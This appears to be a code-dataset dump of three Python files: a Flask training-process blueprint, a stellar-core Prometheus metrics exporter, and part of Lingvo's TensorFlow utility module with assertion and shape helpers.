source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
training.py | import base64
import multiprocessing
import os
import queue
import urllib
from typing import Optional
from flask import Blueprint
from flask import jsonify
from flask import render_template
from flask import request
from flask_socketio import emit
from tools.sense_studio import project_utils
from tools.sense_studio import utils
from tools.sense_studio import socketio
from tools.train_classifier import train_model
training_bp = Blueprint('training_bp', __name__)
train_process: Optional[multiprocessing.Process] = None
queue_train_logs: Optional[multiprocessing.Queue] = None
confmat_event: Optional[multiprocessing.Event] = None
@training_bp.route('/<string:project>', methods=['GET'])
def training_page(project):
project = urllib.parse.unquote(project)
path = project_utils.lookup_project_path(project)
project_config = project_utils.load_project_config(path)
output_path_prefix = os.path.join(os.path.basename(path), 'checkpoints', '')
return render_template('training.html', project=project, path=path, models=utils.get_available_backbone_models(),
output_path_prefix=output_path_prefix, project_config=project_config)
@training_bp.route('/start-training', methods=['POST'])
def start_training():
data = request.json
path = data['path']
num_layers_to_finetune = data['layersToFinetune']
output_folder = data['outputFolder']
model_name = data['modelName']
epochs = data['epochs']
config = project_utils.load_project_config(path)
model_name, model_version = model_name.split('-')
path_out = os.path.join(path, 'checkpoints', output_folder)
ctx = multiprocessing.get_context('spawn')
global queue_train_logs
global confmat_event
queue_train_logs = ctx.Queue()
confmat_event = ctx.Event()
training_kwargs = {
'path_in': path,
'num_layers_to_finetune': int(num_layers_to_finetune),
'path_out': path_out,
'model_version': model_version,
'model_name': model_name,
'epochs': int(epochs),
'use_gpu': config['use_gpu'],
'temporal_training': config['temporal'],
'log_fn': queue_train_logs.put,
'confmat_event': confmat_event,
}
global train_process
train_process = ctx.Process(target=train_model, kwargs=training_kwargs)
train_process.start()
return jsonify(success=True)
@training_bp.route('/cancel-training')
def cancel_training():
global train_process
if train_process:
train_process.terminate()
train_process = None
return jsonify(success=True)
@socketio.on('connect_training_logs', namespace='/connect-training-logs')
def send_training_logs(msg):
global train_process
global queue_train_logs
global confmat_event
try:
while train_process.is_alive():
try:
output = queue_train_logs.get(timeout=1)
emit('training_logs', {'log': output})
except queue.Empty:
# No message received during the last second
pass
train_process.terminate()
train_process = None
except AttributeError:
# train_process has been cancelled and is None
pass
finally:
queue_train_logs.close()
project = msg['project']
output_folder = msg['outputFolder']
path = project_utils.lookup_project_path(project)
img_path = os.path.join(path, 'checkpoints', output_folder, 'confusion_matrix.png')
if confmat_event.is_set() and os.path.exists(img_path):
with open(img_path, 'rb') as f:
data = f.read()
img_base64 = base64.b64encode(data)
if img_base64:
emit('success', {'status': 'Complete', 'img': img_base64})
else:
emit('failed', {'status': 'Failed'})
else:
emit('failed', {'status': 'Failed'})
|
exporter.py | #!/usr/bin/python
# vim: tabstop=4 expandtab shiftwidth=4
import argparse
import requests
import re
import time
import threading
from datetime import datetime
from os import environ
# Prometheus client library
from prometheus_client import CollectorRegistry
from prometheus_client.core import Gauge, Counter
from prometheus_client.exposition import CONTENT_TYPE_LATEST, generate_latest
try:
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from SocketServer import ThreadingMixIn
except ImportError:
# Python 3
unicode = str
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
parser = argparse.ArgumentParser(description='simple stellar-core Prometheus exporter/scraper')
parser.add_argument('--stellar-core-address', type=str,
help='Stellar core address. Defaults to STELLAR_CORE_ADDRESS environment '
'variable or if not set to http://127.0.0.1:11626',
default=environ.get('STELLAR_CORE_ADDRESS', 'http://127.0.0.1:11626'))
parser.add_argument('--port', type=int,
help='HTTP bind port. Defaults to PORT environment variable '
'or if not set to 9473',
default=int(environ.get('PORT', '9473')))
args = parser.parse_args()
class _ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
"""Thread per request HTTP server."""
# Copied from prometheus client_python
daemon_threads = True
class StellarCoreHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def get_labels(self):
try:
response = requests.get(self.info_url)
json = response.json()
build = json['info']['build']
network = json['info']['network']
except Exception:
return ['unknown', 'unknown', 'unknown', 'unknown', 'unknown']
match = self.build_regex.match(build)
build = re.sub('\s', '_', build).lower()
build = re.sub('\(|\)', '', build)
if not match:
return ['unknown', 'unknown', 'unknown', build, network]
labels = [
match.group(2),
match.group(3),
match.group(4),
build,
network,
]
return labels
def duration_to_seconds(self, duration, duration_unit):
# given duration and duration_unit, returns duration in seconds
time_units_to_seconds = {
'd': 'duration * 86400.0',
'h': 'duration * 3600.0',
'm': 'duration * 60.0',
's': 'duration / 1.0',
'ms': 'duration / 1000.0',
'us': 'duration / 1000000.0',
'ns': 'duration / 1000000000.0',
}
return eval(time_units_to_seconds[duration_unit])
def set_vars(self):
self.info_url = args.stellar_core_address + '/info'
self.metrics_url = args.stellar_core_address + '/metrics'
self.cursors_url = args.stellar_core_address + '/getcursor'
self.info_keys = ['ledger', 'network', 'peers', 'protocol_version', 'quorum', 'startedOn', 'state']
self.state_metrics = ['booting', 'joining scp', 'connected', 'catching up', 'synced', 'stopping']
self.ledger_metrics = {'age': 'age', 'baseFee': 'base_fee', 'baseReserve': 'base_reserve',
'closeTime': 'close_time', 'maxTxSetSize': 'max_tx_set_size',
'num': 'num', 'version': 'version'}
self.quorum_metrics = ['agree', 'delayed', 'disagree', 'fail_at', 'missing']
self.quorum_phase_metrics = ['unknown', 'prepare', 'confirm', 'externalize']
# Examples:
# "stellar-core 11.1.0-unstablerc2 (324c1bd61b0e9bada63e0d696d799421b00a7950)"
# "stellar-core 11.1.0 (324c1bd61b0e9bada63e0d696d799421b00a7950)"
# "v11.1.0"
self.build_regex = re.compile('(stellar-core|v) ?(\d+)\.(\d+)\.(\d+).*$')
self.registry = CollectorRegistry()
self.label_names = ["ver_major", "ver_minor", "ver_patch", "build", "network"]
self.labels = self.get_labels()
def error(self, code, msg):
self.send_response(code)
self.send_header('Content-Type', CONTENT_TYPE_LATEST)
self.end_headers()
self.wfile.write('{}\n'.format(msg).encode('utf-8'))
def do_GET(self):
self.set_vars()
###########################################
# Export metrics from the /metrics endpoint
###########################################
try:
response = requests.get(self.metrics_url)
except requests.ConnectionError:
self.error(504, 'Error retrieving data from {}'.format(self.metrics_url))
return
if not response.ok:
self.error(504, 'Error retrieving data from {}'.format(self.metrics_url))
return
try:
metrics = response.json()['metrics']
except ValueError:
self.error(500, 'Error parsing metrics JSON data')
return
# iterate over all metrics
for k in metrics:
metric_name = re.sub('\.|-|\s', '_', k).lower()
metric_name = 'stellar_core_' + metric_name
if metrics[k]['type'] == 'timer':
# we have a timer, expose as a Prometheus Summary
# we convert stellar-core time units to seconds, as per Prometheus best practices
metric_name = metric_name + '_seconds'
if 'sum' in metrics[k]:
# use libmedida sum value
total_duration = metrics[k]['sum']
else:
# compute sum value
total_duration = (metrics[k]['mean'] * metrics[k]['count'])
c = Counter(metric_name + '_count', 'libmedida metric type: ' + metrics[k]['type'],
self.label_names, registry=self.registry)
c.labels(*self.labels).inc(metrics[k]['count'])
s = Counter(metric_name + '_sum', 'libmedida metric type: ' + metrics[k]['type'],
self.label_names, registry=self.registry)
s.labels(*self.labels).inc(self.duration_to_seconds(total_duration, metrics[k]['duration_unit']))
# add stellar-core calculated quantiles to our summary
summary = Gauge(metric_name, 'libmedida metric type: ' + metrics[k]['type'],
self.label_names + ['quantile'], registry=self.registry)
summary.labels(*self.labels + ['0.75']).set(
self.duration_to_seconds(metrics[k]['75%'], metrics[k]['duration_unit']))
summary.labels(*self.labels + ['0.99']).set(
self.duration_to_seconds(metrics[k]['99%'], metrics[k]['duration_unit']))
if metrics[k]['type'] == 'histogram':
if 'count' not in metrics[k]:
# Stellar-core version too old, we don't have required data
continue
c = Counter(metric_name + '_count', 'libmedida metric type: ' + metrics[k]['type'],
self.label_names, registry=self.registry)
c.labels(*self.labels).inc(metrics[k]['count'])
s = Counter(metric_name + '_sum', 'libmedida metric type: ' + metrics[k]['type'],
self.label_names, registry=self.registry)
s.labels(*self.labels).inc(metrics[k]['sum'])
# add stellar-core calculated quantiles to our summary
summary = Gauge(metric_name, 'libmedida metric type: ' + metrics[k]['type'],
self.label_names + ['quantile'], registry=self.registry)
summary.labels(*self.labels + ['0.75']).set(metrics[k]['75%'])
summary.labels(*self.labels + ['0.99']).set(metrics[k]['99%'])
elif metrics[k]['type'] == 'counter':
# we have a counter, this is a Prometheus Gauge
g = Gauge(metric_name, 'libmedida metric type: ' + metrics[k]['type'], self.label_names, registry=self.registry)
g.labels(*self.labels).set(metrics[k]['count'])
elif metrics[k]['type'] == 'meter':
# we have a meter, this is a Prometheus Counter
c = Counter(metric_name, 'libmedida metric type: ' + metrics[k]['type'], self.label_names, registry=self.registry)
c.labels(*self.labels).inc(metrics[k]['count'])
#######################################
# Export metrics from the info endpoint
#######################################
try:
response = requests.get(self.info_url)
except requests.ConnectionError:
self.error(504, 'Error retrieving data from {}'.format(self.info_url))
return
if not response.ok:
self.error(504, 'Error retrieving data from {}'.format(self.info_url))
return
try:
info = response.json()['info']
except ValueError:
self.error(500, 'Error parsing info JSON data')
return
if not all([i in info for i in self.info_keys]):
self.error(500, 'Error - info endpoint did not return all required fields')
return
# Ledger metrics
for core_name, prom_name in self.ledger_metrics.items():
g = Gauge('stellar_core_ledger_{}'.format(prom_name),
'Stellar core ledger metric name: {}'.format(core_name),
self.label_names, registry=self.registry)
g.labels(*self.labels).set(info['ledger'][core_name])
# Version 11.2.0 and later report quorum metrics in the following format:
# "quorum" : {
# "qset" : {
# "agree": 3
#
# Older versions use this format:
# "quorum" : {
# "758110" : {
# "agree" : 3,
if 'qset' in info['quorum']:
tmp = info['quorum']['qset']
else:
tmp = info['quorum'].values()[0]
if not tmp:
self.error(500, 'Error - missing quorum data')
return
for metric in self.quorum_metrics:
g = Gauge('stellar_core_quorum_{}'.format(metric),
'Stellar core quorum metric: {}'.format(metric),
self.label_names, registry=self.registry)
g.labels(*self.labels).set(tmp[metric])
for metric in self.quorum_phase_metrics:
g = Gauge('stellar_core_quorum_phase_{}'.format(metric),
'Stellar core quorum phase {}'.format(metric),
self.label_names, registry=self.registry)
if tmp['phase'].lower() == metric:
g.labels(*self.labels).set(1)
else:
g.labels(*self.labels).set(0)
# Versions >=11.2.0 expose more info about quorum
if 'transitive' in info['quorum']:
g = Gauge('stellar_core_quorum_transitive_intersection',
'Stellar core quorum transitive intersection',
self.label_names, registry=self.registry)
if info['quorum']['transitive']['intersection']:
g.labels(*self.labels).set(1)
else:
g.labels(*self.labels).set(0)
g = Gauge('stellar_core_quorum_transitive_last_check_ledger',
'Stellar core quorum transitive last_check_ledger',
self.label_names, registry=self.registry)
g.labels(*self.labels).set(info['quorum']['transitive']['last_check_ledger'])
g = Gauge('stellar_core_quorum_transitive_node_count',
'Stellar core quorum transitive node_count',
self.label_names, registry=self.registry)
g.labels(*self.labels).set(info['quorum']['transitive']['node_count'])
# Versions >=11.3.0 expose "critical" key
if 'critical' in info['quorum']['transitive']:
g = Gauge('stellar_core_quorum_transitive_critical',
'Stellar core quorum transitive critical',
self.label_names + ['critical_validators'], registry=self.registry)
if info['quorum']['transitive']['critical']:
for peer_list in info['quorum']['transitive']['critical']:
critical_peers = ','.join(sorted(peer_list)) # label value is comma separated listof peers
l = self.labels + [critical_peers]
g.labels(*l).set(1)
else:
l = self.labels + [''] # critical_validators label set to empty string
g.labels(*l).set(0)
# Peers metrics
g = Gauge('stellar_core_peers_authenticated_count',
'Stellar core authenticated_count count',
self.label_names, registry=self.registry)
g.labels(*self.labels).set(info['peers']['authenticated_count'])
g = Gauge('stellar_core_peers_pending_count',
'Stellar core pending_count count',
self.label_names, registry=self.registry)
g.labels(*self.labels).set(info['peers']['pending_count'])
g = Gauge('stellar_core_protocol_version',
'Stellar core protocol_version',
self.label_names, registry=self.registry)
g.labels(*self.labels).set(info['protocol_version'])
for metric in self.state_metrics:
name = re.sub('\s', '_', metric)
g = Gauge('stellar_core_{}'.format(name),
'Stellar core state {}'.format(metric),
self.label_names, registry=self.registry)
if info['state'].lower().startswith(metric): # Use startswith to work around "!"
g.labels(*self.labels).set(1)
else:
g.labels(*self.labels).set(0)
g = Gauge('stellar_core_started_on', 'Stellar core start time in epoch', self.label_names, registry=self.registry)
date = datetime.strptime(info['startedOn'], "%Y-%m-%dT%H:%M:%SZ")
g.labels(*self.labels).set(int(date.strftime('%s')))
#######################################
# Export cursor metrics
#######################################
try:
response = requests.get(self.cursors_url)
except requests.ConnectionError:
self.error(504, 'Error retrieving data from {}'.format(self.cursors_url))
return
if not response.ok:
self.error(504, 'Error retrieving data from {}'.format(self.cursors_url))
return
try:
cursors = response.json()['cursors']
except ValueError:
self.error(500, 'Error parsing info JSON data')
return
g = Gauge('stellar_core_active_cursors',
'Stellar core active cursors',
self.label_names + ['cursor_name'], registry=self.registry)
for cursor in cursors:
if not cursor:
continue
l = self.labels + [cursor.get('id').strip()]
g.labels(*l).set(cursor['cursor'])
#######################################
# Render output
#######################################
output = generate_latest(self.registry)
if not output:
self.error(500, 'Error - no metrics were genereated')
return
self.send_response(200)
self.send_header('Content-Type', CONTENT_TYPE_LATEST)
self.end_headers()
self.wfile.write(output)
def main():
httpd = _ThreadingSimpleServer(("", args.port), StellarCoreHandler)
t = threading.Thread(target=httpd.serve_forever)
t.daemon = True
t.start()
while True:
time.sleep(1)
if __name__ == "__main__":
main()
|
py_utils.py | # Lint as: python3
# Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Common utilities."""
# ==============================================================================
# Note: Avoid adding dependencies to py_utils beyond standard python packages
# and tensorflow.
# ==============================================================================
import collections as py_collections
import contextlib
import functools
import hashlib
import inspect
import math
import numbers
import os
import pkgutil
import re
import threading
import traceback
import typing
from typing import Optional, Union
import lingvo.compat as tf
from lingvo.core import cluster_factory
from lingvo.core import gshard_utils
from lingvo.core import hyperparams
from lingvo.core import nested_map
from lingvo.core import ops
from lingvo.core import py_utils_flags
from lingvo.core import retry
from lingvo.core import symbolic
from lingvo.core import thread_local_utils
from lingvo.core import tshape
import numpy as np
import six
# pylint: disable=g-direct-tensorflow-import
from tensorflow.core.framework import attr_value_pb2
from tensorflow.core.framework import node_def_pb2
from tensorflow.core.protobuf import rewriter_config_pb2
from tensorflow.python.framework import func_graph
from tensorflow.python.framework import function
from tensorflow.python.ops import init_ops
from tensorflow.python.ops import stateless_random_ops
from tensorflow.python.tf2 import enabled as tf2_enabled
from tensorflow.python.tpu import topology as tf_topology
from tensorflow.python.tpu import tpu_function
from tensorflow.python.util import deprecation
# pylint: enable=g-direct-tensorflow-import
FLAGS = tf.flags.FLAGS
# pylint: disable=protected-access
_FromGlobal = py_utils_flags._FromGlobal
# pylint: enable=protected-access
use_xla = py_utils_flags.use_xla
use_tpu = py_utils_flags.use_tpu
testonly_skip_norm_layers = py_utils_flags.testonly_skip_norm_layers
tpu_compat = py_utils_flags.tpu_compat
use_stateless_vars_init = py_utils_flags.use_stateless_vars_init
ENQUEUE_OPS = '__lingvo_enqueue_ops'
# pylint: disable=protected-access
deprecation._PRINT_DEPRECATION_WARNINGS = False
# pylint: enable=protected-access
ThreadLocalStack = thread_local_utils.ThreadLocalStack
ThreadLocalDict = thread_local_utils.ThreadLocalDict
NestedMap = nested_map.NestedMap
def Assert(condition, data, *args, **kwargs):
if py_utils_flags.enable_asserts():
return tf.Assert(condition, data, *args, **kwargs)
else:
return tf.no_op()
def assert_equal(*args, **kwargs): # pylint: disable=invalid-name
if py_utils_flags.enable_asserts():
return tf.assert_equal(*args, **kwargs)
else:
return tf.no_op()
def assert_greater_equal(*args, **kwargs): # pylint: disable=invalid-name
if py_utils_flags.enable_asserts():
return tf.debugging.assert_greater_equal(*args, **kwargs)
else:
return tf.no_op()
def assert_greater(*args, **kwargs): # pylint: disable=invalid-name
if py_utils_flags.enable_asserts():
return tf.assert_greater(*args, **kwargs)
else:
return tf.no_op()
def assert_less_equal(*args, **kwargs): # pylint: disable=invalid-name
if py_utils_flags.enable_asserts():
return tf.debugging.assert_less_equal(*args, **kwargs)
else:
return tf.no_op()
def assert_less(*args, **kwargs): # pylint: disable=invalid-name
if py_utils_flags.enable_asserts():
return tf.assert_less(*args, **kwargs)
else:
return tf.no_op()
def assert_between(x, l, r, *args, **kwargs): # pylint: disable=invalid-name
x = tf.convert_to_tensor(x)
l = tf.cast(tf.convert_to_tensor(l), x.dtype)
r = tf.cast(tf.convert_to_tensor(r), x.dtype)
return tf.group([
assert_greater_equal(x, l, *args, **kwargs),
assert_less(x, r, *args, **kwargs)
])
def assert_shape_match(*args, **kwargs): # pylint: disable=invalid-name
if py_utils_flags.enable_asserts():
filepath, line, func, _ = traceback.extract_stack(limit=3)[-2]
kwargs['msg'] = 'LINGVO ASSERT %s:%s(%s)' % (re.sub(
r'.*/', '', filepath), line, func)
return ops.assert_shape_match(*args, **kwargs)
else:
return tf.no_op()
def assert_same_dim0(xs, *args, **kwargs): # pylint: disable=invalid-name
if py_utils_flags.enable_asserts():
return ops.assert_same_dim0(xs, *args, **kwargs)
else:
return tf.no_op()
def assert_even_divide(denorm, num): # pylint: disable=invalid-name
"""Asserts that denorm is evenly divided by num."""
denorm = tf.convert_to_tensor(denorm)
num = tf.convert_to_tensor(num)
if denorm.dtype not in (tf.int32, tf.int64):
raise ValueError('denorminator.dtype is not tf.int32 or tf.int64.')
if num.dtype not in (tf.int32, tf.int64):
raise ValueError('numerator.dtype is not tf.int32 or tf.int64.')
num = HasShape(num, GetShape(denorm))
quo = denorm // num
return assert_equal(quo * num, denorm)
def AssertIdShape(expected_ids_shape_pattern, ids_shape, *args):
"""Asserts shape expected_ids_shape_pattern matches all other input shapes."""
def AssertFn(inputs):
dependencies = [
assert_shape_match(inputs.ids_shape, inputs.expected_ids_shape_pattern)
] + [
assert_shape_match(inputs.ids_shape, x_shape) for x_shape in inputs.args
]
return with_dependencies(dependencies, inputs.ids_shape)
inputs = NestedMap(
expected_ids_shape_pattern=expected_ids_shape_pattern,
ids_shape=ids_shape,
args=args)
return CallDefun(AssertFn, Transform(tf.convert_to_tensor, inputs))
def _CheckNumerics(x, message=None, *args, **kwargs):
if x.dtype.is_floating:
x_name = x.name if not tf.executing_eagerly() else '[eager]'
if 'name' not in kwargs:
kwargs['name'] = re.sub(r':\d+', '', x_name) + '_CheckNumerics'
return tf.debugging.check_numerics(x, message if message else x_name, *args,
**kwargs)
else:
return x
def CheckNumerics(inp, message=None, *args, **kwargs):
"""Check numerics for tensors in inp."""
if not py_utils_flags.enable_check_numerics():
return inp
if isinstance(inp, list):
return [_CheckNumerics(x, message, *args, **kwargs) for x in inp]
if isinstance(inp, tuple):
return tuple(_CheckNumerics(x, message, *args, **kwargs) for x in inp)
return _CheckNumerics(inp, message, *args, **kwargs)
def with_dependencies(dependencies, output_tensor): # pylint: disable=invalid-name
with tf.control_dependencies(dependencies):
return tf.identity(output_tensor)
def _VarInCollection(var, collection):
"""Return whether a variable `var` is in the given variable collection."""
# We use variable reference for comparison, since variable is not hashable in
# eager mode.
return var.ref() in [v.ref() for v in collection]
@contextlib.contextmanager
def _PrintOptions(*args, **kwargs):
original = np.get_printoptions()
np.set_printoptions(*args, **kwargs)
try:
yield
finally:
np.set_printoptions(**original)
def _Print(name, x):
with _PrintOptions(linewidth=1000):
tf.logging.info('%s = %s', name, np.array_repr(x))
def Log(value, prefix, **kwargs):
"""Prints out values of tensors.
Useful for debugging. E.g.,
x = ... a tf.Tensor ...
y = ... a tf.Tensor ...
z = compute(x, y)
z = Log(z, 'debug compute()', x=x, y=y)
Args:
value: A Tensor. Log happens after this tensor's computed.
prefix: Every tensor is logged with this prefix.
**kwargs: keywords and tensors. Tensors are logged in the sort order of
these keywards.
Returns:
value is returned.
"""
# Ensures tensors are printed in order.
last = value
for k in sorted(kwargs):
with tf.control_dependencies([last]):
last = tf.py_func(_Print, [prefix + ' : ' + k, kwargs[k]], [])
with tf.control_dependencies([last]):
return tf.identity(value)
def Debug(tensor, message='', enabled=True, summarize=100, more=None):
"""Wrapper around tf.Print() and tf.logging.info() to simplify debug printing.
x = py_utils.Debug(x)
When the graph is built a regular log info line will be printed:
-DBG- py_utils_test.py:429 x=Tensor(...
Then when the tensor node is evaluated it will print lines like:
-DBG- py_utils_test.py:429 x Const:0[x.shape=][2 2][x=][[1 2][3 4]]
WARNING: The code that parses local variable names can fail. E.g. don't write
two Debug() calls on one line or a Debug() call that spans more than one line.
Args:
tensor: A tensor to print.
message: A message to print.
enabled: To enable the debugging.
summarize: Integer with number of tensor values to print.
more: An optional list of additional tensors.
Returns:
The tensor.
"""
if not enabled or _FromGlobal('disable_py_utils_debug'):
return tensor
if more is None:
more = []
stack = inspect.stack()[1][0]
caller = inspect.getframeinfo(stack)
caller_var = ''
caller_more_vars = []
if caller.code_context:
# Rough and likely to fail. But better than nothing.
match = re.compile(r'Debug\((.*?)(\)|,).*$').search(caller.code_context[0])
if match:
caller_var = match.groups()[0]
if more:
more_vars = re.compile(r'more=\[(.*?)\].*$').search(
caller.code_context[0]).groups()[0]
if more_vars:
caller_more_vars = more_vars.split(',')
the_class = ''
if 'self' in stack.f_locals:
the_class = stack.f_locals['self'].__class__.__name__
header = '-DBG- {}:{}:{}:{} {} '.format(
os.path.basename(caller.filename), the_class, caller.function,
caller.lineno, message)
info = '{}{}={}'.format(header, caller_var, tensor)
for name, val in zip(caller_more_vars, more):
info += ' {}={}'.format(name.strip(), val)
tf.logging.info(info)
if isinstance(tensor, tf.Tensor):
tensors = []
tensors += [tf.constant('{}.shape='.format(caller_var)), tf.shape(tensor)]
for name, val in zip(caller_more_vars, more):
tensors += [tf.constant('{}.shape='.format(name.strip())), tf.shape(val)]
tensors += [tf.constant('{}='.format(caller_var)), tensor]
for name, val in zip(caller_more_vars, more):
tensors += [tf.constant('{}='.format(name.strip())), val]
name = tensor.name if not tf.executing_eagerly() else '[eager]'
info = '{}{} {}'.format(header, caller_var, name)
return tf.identity(
tf.Print(tensor, tensors, info, summarize=summarize),
re.sub(':.*$', '', name))
return tensor
def _Save(steps, prefix, key, val):
filename = '%s.%08d.%s.npy' % (six.ensure_text(prefix), steps,
six.ensure_text(key))
with tf.io.gfile.GFile(filename, 'w') as outfile:
np.save(outfile, val)
def Save(value, filename_prefix, **kwargs):
"""Saves values of tensors into files.
Useful for debugging. E.g.,
x = ... a tf.Tensor ...
y = ... a tf.Tensor ...
z = compute(x, y)
z = Save(z, '/path/tmp', x=x, y=y, z=z)
Args:
value: A Tensor. Saving happens after this tensor is computed.
filename_prefix: Every tensor is saved with this filename prefix.
**kwargs: keywords and tensors. Tensors are logged in the sort order of
these keywards.
Returns:
value is returned.
"""
last = value
steps = GetGlobalStep()
for k in sorted(kwargs):
with tf.control_dependencies([last]):
last = tf.py_func(_Save, [steps, filename_prefix, k, kwargs[k]], [])
with tf.control_dependencies([last]):
return tf.identity(value)
def HasRank(tensor, expected_rank):
"""Syntactic sugar for asserting that tensor has the expected rank."""
if tensor.shape.ndims is not None and isinstance(expected_rank, int):
assert tensor.shape.ndims == expected_rank, (
'Ranks did not match, got %d, '
'expected %d') % (tensor.shape.ndims, expected_rank)
return tensor
if py_utils_flags.enable_asserts():
return with_dependencies([tf.assert_equal(tf.rank(tensor), expected_rank)],
tensor)
else:
return tensor
def HasAtLeastRank(tensor, expected_rank):
"""Syntactic sugar for asserting that tensor has rank >= expected_rank."""
if tensor.shape.ndims is not None and isinstance(expected_rank, int):
assert tensor.shape.ndims >= expected_rank, (
'Rank of tensor %d did not exceed the expected value %d.') % (
tensor.shape.ndims, expected_rank)
return tensor
if py_utils_flags.enable_asserts():
return with_dependencies(
[tf.debugging.assert_greater_equal(tf.rank(tensor), expected_rank)],
tensor)
else:
return tensor
def GetRank(tensor):
"""Returns tensor's rank as an int if it's available, otherwise a Tensor.
Args:
tensor: The input tensor.
Returns:
Either an int or a Tensor for the rank of the input tensor.
"""
if tensor.shape.ndims is not None:
return tensor.shape.ndims # int
else:
return tf.rank(tensor) # Tensor
def GetShape(tensor, ndims=None):
"""Returns tensor's shape as a list which can be unpacked, unlike tf.shape.
Tries to return static shape if it's available. Note that this means
some of the outputs will be ints while the rest will be Tensors.
Args:
tensor: The input tensor.
ndims: If not None, returns the shapes for the first `ndims` dimensions.
"""
tensor = tf.convert_to_tensor(tensor)
dynamic_shape = tf.shape(tensor)
# Early exit for unranked tensor.
if tensor.shape.ndims is None:
if ndims is None:
return dynamic_shape
else:
return [dynamic_shape[x] for x in range(ndims)]
# Ranked tensor.
if ndims is None:
ndims = tensor.shape.ndims
else:
ndims = min(ndims, tensor.shape.ndims)
# Return mixture of static and dynamic dims.
static_shape = tensor.shape.as_list()
shapes = [
static_shape[x] if static_shape[x] is not None else dynamic_shape[x]
for x in range(ndims)
]
return shapes
def HasShape(tensor, expected_shape, ndims=None):
"""Syntactic sugar for asserting that tensor has the expected shape.
Args:
tensor: A Tensor.
expected_shape: A Python list or a 1D tensor. Elements of expected_shape can
be -1 which indicate that any size is valid for that dimension.
ndims: If not None, check only the first `ndims` dimensions of `tensor`.
Must be equal to the length of `expected_shape` if not None.
Returns:
The input `tensor` with control dependencies that will raise a runtime
error if dynamic shape checks fail.
Raises:
ValueError: A value error if the assertion fails at static shape checks.
"""
if not py_utils_flags.enable_asserts():
return tensor
filepath, line, func, _ = traceback.extract_stack(limit=3)[-2]
msg = 'LINGVO ASSERT %s:%s(%s)' % (re.sub(r'.*/', '',
filepath), line, func)
tensor_shape = GetShape(tensor)
if ndims is not None:
tensor_shape = tensor_shape[:ndims]
# TODO(jngiam): Attempt to switch back to tf.Assert after it has better
# support on GPUs.
assert_op = ops.assert_shape_match(tensor_shape, expected_shape, msg=msg)
# If expected_shape is a Tensor, then we are unable to perform static checks.
# In this case, we can do a dynamic check and return.
if isinstance(expected_shape, tf.Tensor):
return with_dependencies([assert_op], tensor)
# Infer ranks from the inputs.
expected_rank = len(expected_shape)
if isinstance(tensor_shape, tf.Tensor):
tensor_rank = tensor.shape.ndims
else:
tensor_rank = len(tensor_shape)
# If ndims is None, then either one of the ranks should not be None, or they
# should both match. If both ranks are None, then they are both tensors and
# should be caught by the earlier short-circuit.
if ndims is None:
if (tensor_rank is not None) and (expected_rank != tensor_rank):
raise ValueError('Tensor does not match rank of expected shape.\n'
'Tensor shape: {} Expected shape: {}'.format(
tensor_shape, expected_shape))
# Both tensors can be assumed to be of same rank.
ndims = expected_rank
else:
if (tensor_rank is not None) and (tensor_rank < ndims):
raise ValueError('Tensor has fewer dimensions than ndims.\n'
'Tensor shape: {} ndims: {}'.format(tensor_shape, ndims))
if expected_rank != ndims:
raise ValueError(
'Expected shape must have number of dimensions equal to ndims.\n'
'Expected shape: {} ndims: {}'.format(expected_shape, ndims))
# Ensure that both tensor_shape and expected_shape are both lists.
tensor_shape = tensor_shape[:ndims]
if isinstance(tensor_shape, tf.Tensor):
tensor_shape = tf.unstack(tensor_shape, num=ndims)
# Map tf.Dimension values to their held values.
tensor_shape = [
v.value if isinstance(v, tf.Dimension) else v for v in tensor_shape
]
expected_shape = [
v.value if isinstance(v, tf.Dimension) else v for v in expected_shape
]
all_static_checks = True
for idx, (dim, expected_dim) in enumerate(zip(tensor_shape, expected_shape)):
if isinstance(expected_dim, tf.Tensor):
all_static_checks = False
elif expected_dim == -1:
continue
elif isinstance(dim, tf.Tensor):
all_static_checks = False
elif dim != expected_dim:
raise ValueError('Tensor does not match expected shape on dimension {}.\n'
'Tensor shape: {} Expected shape: {}'.format(
idx, tensor_shape, expected_shape))
if all_static_checks:
return tf.convert_to_tensor(tensor)
else:
return with_dependencies([assert_op], tensor)
def HasSameShape(x, ref):
return HasShape(x, GetShape(ref))
def GetSize(tensor):
shape = GetShape(tensor)
if (isinstance(shape, tf.Tensor) or
any([isinstance(x, tf.Tensor) for x in shape])):
return tf.size(tensor)
return np.prod(shape)
def CausalSelfAttenPadding(seqlen, dtype):
"""Wraps tf.linalg.band_part() for tflite compatibility."""
if FLAGS.tflite_compatible:
# [N, 1]
rows = tf.expand_dims(tf.range(seqlen), -1)
# [1, N]
cols = tf.expand_dims(tf.range(seqlen), 0)
row_cols = rows - cols
return tf.where(row_cols < 0, tf.ones([seqlen, seqlen], dtype),
tf.zeros([seqlen, seqlen], tf.float32))
else:
return 1.0 - tf.linalg.band_part(
tf.ones([seqlen, seqlen], dtype=dtype), -1, 0)
def outside_all_rewrites(): # pylint: disable=invalid-name
return tf.control_dependencies(None)
# TODO(jamesqin): remove once b/147439702 is fixed.
_OUTSIDE_COMPILATION = threading.local()
def RunOnTpuHost(func, *args, **kwargs):
r"""Runs the given function call on TPU host.
Invokes func(\*args, \*\*kwargs) directly if not running on tpu.
Args:
func: the function to invoke.
*args: args of func
**kwargs: kwargs of func
Returns:
The function return value.
"""
if use_tpu() and not getattr(_OUTSIDE_COMPILATION, 'on', False):
_OUTSIDE_COMPILATION.on = True
res = tf.tpu.outside_compilation(func, *args, **kwargs)
_OUTSIDE_COMPILATION.on = False
else:
res = func(*args, **kwargs)
return res
def tpu_host(func): # pylint: disable=invalid-name
r"""Decorates a python function to only run on TPU hosts.
This function has no effect when running on CPU/GPU.
Example::
@py_utils.tpu_host()
def ComputeWER(self):
# Call a custom op computing WER.
Args:
func: the function to invoke
Returns:
A TPU-host only function
"""
def Wrapped(*args, **kwargs):
return RunOnTpuHost(func, *args, **kwargs)
return Wrapped
